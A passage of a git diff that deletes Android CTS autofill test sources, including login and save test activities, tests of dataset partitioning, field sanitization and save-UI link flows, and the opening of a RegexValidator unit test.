-        final FillExpectation expectation4 = mActivity.expectAutofill()
-                .onCell(4, 1, "l4c1")
-                .onCell(4, 2, "l4c2");
-        focusCell(4, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertDatasets("Auth 4");
-
-        // Now play around the focus to make sure they still display the right values.
-
-        focusCell(1, 2);
-        mUiBot.assertDatasets("Auth 1");
-        focusCell(1, 1);
-        mUiBot.assertDatasets("Auth 1");
-
-        focusCell(3, 1);
-        mUiBot.assertDatasets("Auth 3");
-        focusCell(3, 2);
-        mUiBot.assertDatasets("Auth 3");
-
-        focusCell(2, 1);
-        mUiBot.assertDatasets("Auth 2");
-        focusCell(4, 2);
-        mUiBot.assertDatasets("Auth 4");
-
-        focusCell(2, 2);
-        mUiBot.assertDatasets("Auth 2");
-        focusCell(4, 1);
-        mUiBot.assertDatasets("Auth 4");
-
-        // Finally, autofill and check them.
-        focusCell(2, 1);
-        mUiBot.selectDataset("Auth 2");
-        mUiBot.selectDataset("Partition 2");
-        expectation2.assertAutoFilled();
-
-        focusCell(4, 1);
-        mUiBot.selectDataset("Auth 4");
-        mUiBot.selectDataset("Partition 4");
-        expectation4.assertAutoFilled();
-
-        focusCell(3, 1);
-        mUiBot.selectDataset("Auth 3");
-        mUiBot.selectDataset("Partition 3");
-        expectation3.assertAutoFilled();
-
-        focusCell(1, 1);
-        mUiBot.selectDataset("Auth 1");
-        mUiBot.selectDataset("Partition 1");
-        expectation1.assertAutoFilled();
-    }
-
-    @Test
-    public void testNoMorePartitionsAfterLimitReached() throws Exception {
-        final int maxBefore = getMaxPartitions();
-        try {
-            setMaxPartitions(1);
-            // Set service.
-            enableService();
-
-            // Prepare 1st partition.
-            final CannedFillResponse response1 = new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
-                            .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
-                            .build())
-                    .build();
-            sReplier.addResponse(response1);
-
-            // Trigger autofill.
-            focusCell(1, 1);
-            sReplier.getNextFillRequest();
-
-            // Make sure UI is shown, but don't tap it.
-            mUiBot.assertDatasets("l1c1");
-            focusCell(1, 2);
-            mUiBot.assertDatasets("l1c2");
-
-            // Prepare 2nd partition.
-            final CannedFillResponse response2 = new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
-                            .build())
-                    .build();
-            sReplier.addResponse(response2);
-
-            // Trigger autofill on 2nd partition.
-            focusCell(2, 1);
-
-            // Make sure it was ignored.
-            mUiBot.assertNoDatasets();
-
-            // Make sure 1st partition is still working.
-            focusCell(1, 2);
-            mUiBot.assertDatasets("l1c2");
-            focusCell(1, 1);
-            mUiBot.assertDatasets("l1c1");
-
-            // Prepare 3rd partition.
-            final CannedFillResponse response3 = new CannedFillResponse.Builder()
-                    .addDataset(new CannedDataset.Builder()
-                            .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
-                            .build())
-                    .build();
-            sReplier.addResponse(response3);
-            // Trigger autofill on 3rd partition.
-            focusCell(3, 2);
-
-            // Make sure it was ignored.
-            mUiBot.assertNoDatasets();
-
-            // Make sure 1st partition is still working...
-            focusCell(1, 2);
-            mUiBot.assertDatasets("l1c2");
-            focusCell(1, 1);
-            mUiBot.assertDatasets("l1c1");
-
-            //...and can be autofilled.
-            final FillExpectation expectation = mActivity.expectAutofill()
-                    .onCell(1, 1, "l1c1");
-            mUiBot.selectDataset("l1c1");
-            expectation.assertAutoFilled();
-        } finally {
-            setMaxPartitions(maxBefore);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PasswordOnlyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PasswordOnlyActivity.java
deleted file mode 100644
index 0a0d7a5..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PasswordOnlyActivity.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillId;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.TextView;
-
-public final class PasswordOnlyActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "PasswordOnlyActivity";
-
-    static final String EXTRA_USERNAME = "username";
-    static final String EXTRA_PASSWORD_AUTOFILL_ID = "password_autofill_id";
-
-    private TextView mWelcomeLabel;
-    private EditText mPasswordEditText;
-    private Button mLoginButton;
-    private String mUsername;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(getContentView());
-
-        mWelcomeLabel = findViewById(R.id.welcome);
-        mPasswordEditText = findViewById(R.id.password);
-        mLoginButton = findViewById(R.id.login);
-        mLoginButton.setOnClickListener((v) -> login());
-
-        mUsername = getIntent().getStringExtra(EXTRA_USERNAME);
-        final String welcomeMsg = "Welcome to the jungle, " + mUsername;
-        Log.v(TAG, welcomeMsg);
-        mWelcomeLabel.setText(welcomeMsg);
-        final AutofillId id = getIntent().getParcelableExtra(EXTRA_PASSWORD_AUTOFILL_ID);
-        if (id != null) {
-            Log.v(TAG, "Setting autofill id to " + id);
-            mPasswordEditText.setAutofillId(id);
-        }
-    }
-
-    protected int getContentView() {
-        return R.layout.password_only_activity;
-    }
-
-    public void focusOnPassword() {
-        syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
-    }
-
-    void setPassword(String password) {
-        syncRunOnUiThread(() -> mPasswordEditText.setText(password));
-    }
-
-    void login() {
-        final String password = mPasswordEditText.getText().toString();
-        Log.i(TAG, "Login as " + mUsername + "/" + password);
-        finish();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivity.java
deleted file mode 100644
index 0c3a451..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-/**
- * Same as {@link LoginActivity}, but with {@code username} and {@code password} fields pre-filled.
- */
-public class PreFilledLoginActivity extends LoginActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.pre_filled_login_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
deleted file mode 100644
index 06191a5..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PreFilledLoginActivityTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextFromResources;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertTextOnly;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-
-import org.junit.Test;
-
-/**
- * Covers scenarios where the behavior is different because some fields were pre-filled.
- */
-@AppModeFull(reason = "LoginActivityTest is enough")
-public class PreFilledLoginActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<PreFilledLoginActivity> {
-
-    private PreFilledLoginActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<PreFilledLoginActivity> getActivityRule() {
-        return new AutofillActivityTestRule<PreFilledLoginActivity>(PreFilledLoginActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testSanitization() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Change view contents.
-        mActivity.onUsernameLabel((v) -> v.setText("DA USER"));
-        mActivity.onPasswordLabel((v) -> v.setText(R.string.new_password_label));
-
-        // Trigger auto-fill.
-        mActivity.onUsername((v) -> v.requestFocus());
-
-        // Assert sanitization on fill request:
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // ...dynamic text should be sanitized.
-        assertTextIsSanitized(fillRequest.structure, ID_USERNAME_LABEL);
-
-        // ...password label should be ok because it was set from other resource id
-        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
-                "new_password_label");
-
-        // ...username and password should be ok because they were set in the SML
-        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_USERNAME),
-                "secret_agent");
-        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_PASSWORD), "T0p S3cr3t");
-
-        // Trigger save
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        mActivity.tapLogin();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Assert sanitization on save: everything should be available!
-        assertTextOnly(findNodeByResourceId(saveRequest.structure, ID_USERNAME_LABEL), "DA USER");
-        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
-                "new_password_label");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_USERNAME), "malkovich");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "malkovich");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
deleted file mode 100644
index 0e14bc5..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.TextView;
-
-/**
- * A simple activity that upon submission launches {@link SimpleSaveActivity}.
- */
-public class PreSimpleSaveActivity extends AbstractAutoFillActivity {
-
-    static final String ID_PRE_LABEL = "preLabel";
-    static final String ID_PRE_INPUT = "preInput";
-
-    private static PreSimpleSaveActivity sInstance;
-
-    TextView mPreLabel;
-    EditText mPreInput;
-    Button mSubmit;
-
-    public static PreSimpleSaveActivity getInstance() {
-        return sInstance;
-    }
-
-    public PreSimpleSaveActivity() {
-        sInstance = this;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.pre_simple_save_activity);
-
-        mPreLabel = findViewById(R.id.preLabel);
-        mPreInput = findViewById(R.id.preInput);
-        mSubmit = findViewById(R.id.submit);
-
-        mSubmit.setOnClickListener((v) -> {
-            finish();
-            startActivity(new Intent(this, SimpleSaveActivity.class));
-        });
-    }
-
-    public FillExpectation expectAutoFill(String input) {
-        final FillExpectation expectation = new FillExpectation(input);
-        mPreInput.addTextChangedListener(expectation.mInputWatcher);
-        return expectation;
-    }
-
-    public EditText getPreInput() {
-        return mPreInput;
-    }
-
-    public final class FillExpectation {
-        private final OneTimeTextWatcher mInputWatcher;
-
-        private FillExpectation(String input) {
-            mInputWatcher = new OneTimeTextWatcher("input", mPreInput, input);
-        }
-
-        public void assertAutoFilled() throws Exception {
-            mInputWatcher.assertAutoFilled();
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
deleted file mode 100644
index 2b368bb..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
+++ /dev/null
@@ -1,390 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
-import static android.autofillservice.cts.PreSimpleSaveActivity.ID_PRE_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.Validator;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import java.util.regex.Pattern;
-
-public class PreSimpleSaveActivityTest
-        extends CustomDescriptionWithLinkTestCase<PreSimpleSaveActivity> {
-
-    private static final AutofillActivityTestRule<PreSimpleSaveActivity> sActivityRule =
-            new AutofillActivityTestRule<PreSimpleSaveActivity>(PreSimpleSaveActivity.class, false);
-
-    public PreSimpleSaveActivityTest() {
-        super(PreSimpleSaveActivity.class);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<PreSimpleSaveActivity> getActivityRule() {
-        return sActivityRule;
-    }
-
-    @Override
-    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Tap the link.
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // .. then do something to return to previous activity...
-        switch (type) {
-            case ROTATE_THEN_TAP_BACK_BUTTON:
-                mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
-                WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-                // not breaking on purpose
-            case TAP_BACK_BUTTON:
-                mUiBot.pressBack();
-                break;
-            case FINISH_ACTIVITY:
-                // ..then finishes it.
-                WelcomeActivity.finishIt();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-
-        // ... and tap save.
-        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-        mUiBot.saveForAutofill(newSaveUi, true);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT), "108");
-    }
-
-    @Override
-    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
-            boolean manualRequest) throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Tap the link.
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Tap back to restore the Save UI...
-        mUiBot.pressBack();
-
-        // ...but don't tap it...
-        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // ...instead, do something to dismiss it:
-        switch (action) {
-            case TOUCH_OUTSIDE:
-                mUiBot.assertShownByRelativeId(ID_LABEL).longClick();
-                break;
-            case TAP_NO_ON_SAVE_UI:
-                mUiBot.saveForAutofill(saveUi2, false);
-                break;
-            case TAP_YES_ON_SAVE_UI:
-                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT),
-                        "108");
-                break;
-            default:
-                throw new IllegalArgumentException("invalid action: " + action);
-        }
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Make sure previous session was finished.
-
-        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
-        if (manualRequest) {
-            newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
-        } else {
-            newActivty.syncRunOnUiThread(() -> newActivty.mPassword.requestFocus());
-        }
-
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        newActivty.syncRunOnUiThread(() -> {
-            newActivty.mInput.setText("42");
-            newActivty.mCommit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
-    }
-
-    @Override
-    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Tap the link.
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-        tapSaveUiLink(saveUi);
-
-        // Make sure linked activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        switch (type) {
-            case LAUNCH_PREVIOUS_ACTIVITY:
-                startActivityOnNewTask(PreSimpleSaveActivity.class);
-                mUiBot.assertShownByRelativeId(ID_INPUT);
-                break;
-            case LAUNCH_NEW_ACTIVITY:
-                // Launch a 3rd activity...
-                startActivityOnNewTask(LoginActivity.class);
-                mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
-                // ...then go back
-                mUiBot.pressBack();
-                mUiBot.assertShownByRelativeId(ID_INPUT);
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Override
-    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
-            throws Exception {
-        // Prepare activity.
-        startActivity(false);
-        mActivity.mPreInput.getRootView()
-                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder.setCustomDescription(
-                        newCustomDescription(TrampolineWelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.getAutofillManager().requestAutofill(mActivity.mPreInput);
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-
-        // Save UI should be showing as well, since Trampoline finished.
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Go back and make sure it's showing the right activity.
-        // first BACK cancels save dialog
-        mUiBot.pressBack();
-        // second BACK cancel WelcomeActivity
-        mUiBot.pressBack();
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
-        newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
-
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        newActivty.syncRunOnUiThread(() -> {
-            newActivty.mInput.setText("42");
-            newActivty.mCommit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
-
-        // ... and assert results
-        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
-    }
-
-    @Override
-    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final CustomDescription.Builder customDescription =
-                            newCustomDescriptionBuilder(WelcomeActivity.class);
-                    final RemoteViews update = newTemplate();
-                    if (updateLinkView) {
-                        update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
-                    } else {
-                        update.setCharSequence(R.id.static_text, "setText", "ME!");
-                    }
-                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_PRE_INPUT);
-                    final Validator validCondition = new RegexValidator(id, Pattern.compile(".*"));
-                    customDescription.batchUpdate(validCondition,
-                            new BatchUpdates.Builder().updateTemplate(update).build());
-                    builder.setCustomDescription(customDescription.build());
-                })
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPreInput.setText("108");
-            mActivity.mSubmit.performClick();
-        });
-        // Make sure post-save activity is shown...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // Tap the link.
-        final UiObject2 saveUi;
-        if (updateLinkView) {
-            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD, "TAP ME IF YOU CAN");
-        } else {
-            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
-            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
-            assertThat(changed.getText()).isEqualTo("ME!");
-        }
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
deleted file mode 100644
index 7802c56..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class RegexValidatorTest {
-
-    @Test
-    public void allNullConstructor() {
-        assertThrows(NullPointerException.class, () -> new RegexValidator(null, null));
-    }
-
-    @Test
-    public void nullRegexConstructor() {
-        assertThrows(NullPointerException.class,
-                () -> new RegexValidator(new AutofillId(1), null));
-    }
-
-    @Test
-    public void nullAutofillIdConstructor() {
-        assertThrows(NullPointerException.class,
